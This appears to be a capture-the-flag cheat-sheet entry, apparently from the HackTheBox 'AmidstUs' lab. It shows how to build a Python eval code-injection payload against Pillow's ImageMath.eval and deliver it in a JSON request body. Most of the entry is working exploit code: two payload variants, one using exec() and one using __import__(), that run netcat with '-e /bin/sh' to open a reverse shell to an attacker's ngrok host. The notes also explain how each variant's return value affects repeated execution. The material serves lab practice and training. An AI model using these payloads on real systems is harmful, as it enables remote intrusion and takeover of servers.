eval automation rev shell

Python eval code injection — reverse-shell automation

Builds a reverse-shell command into a Python expression accepted by eval() and places it in the vulnerable request body without breaking the nested quotes.

Using exec()

This block forms the request body inside the target-specific code-injection function.

rev_shell = f"nc {ngrok_tcp_url} {ngrok_tcp_port} -e /bin/sh"
payload = f'exec("import os;os.system({repr(rev_shell)})")'
json = {
    "image": "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAKElEQVR42mNsaGhgoAQwUsWAeTtv/ydHc5K7KuOoC0ZdMJxcMKAGAAD1ADAR5Zm7jQAAAABJRU5ErkJggg==",
    "background": [payload, 2, 3]
}

repr(rev_shell) turns the complete shell command into a quoted Python string literal for os.system(). The surrounding exec("...") remains a callable expression that eval() accepts, while allowing the inner string to contain the import statement.

exec() always returns None. After the reverse shell disconnects, the surrounding image calculation fails when it attempts to use None as a number. This stops evaluation before another occurrence of the injected background value can execute the command again.

os.system() is synchronous, so evaluation remains blocked while the reverse shell is connected.

The valid base64 image satisfies the parsing required before ImageMath.eval() is reached. The payload occupies background[0], which the application inserts unquoted into the evaluated expression.

Using __import__()

This block forms the request body inside the target-specific code-injection function.

rev_shell = f"nc {ngrok_tcp_url} {ngrok_tcp_port} -e /bin/sh"
payload = f'__import__("os").system({repr(rev_shell)})'
json = {
    "image": "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAKElEQVR42mNsaGhgoAQwUsWAeTtv/ydHc5K7KuOoC0ZdMJxcMKAGAAD1ADAR5Zm7jQAAAABJRU5ErkJggg==",
    "background": [payload, 2, 3]
}

__import__("os") is an expression, so it can be used directly inside eval() without wrapping an import statement in exec(). repr(rev_shell) quotes the complete shell command for os.system() without introducing a second nested source string.

os.system() returns an integer command status instead of None. The surrounding expression may therefore continue after the reverse shell disconnects and reach another occurrence of the injected background value, executing the command again.

os.system() is synchronous, so evaluation remains blocked while the reverse shell is connected.

The valid base64 image satisfies the parsing required before ImageMath.eval() is reached. The payload occupies background[0], which the application inserts unquoted into the evaluated expression.

_{Find by: python code injection, python eval injection, eval automation, reverse shell, payload building, nested quotes, exec, return none, import, os.system, exit status, repr, pillow, ImageMath.eval, background, base64 image · Source: HTB/AmidstUs}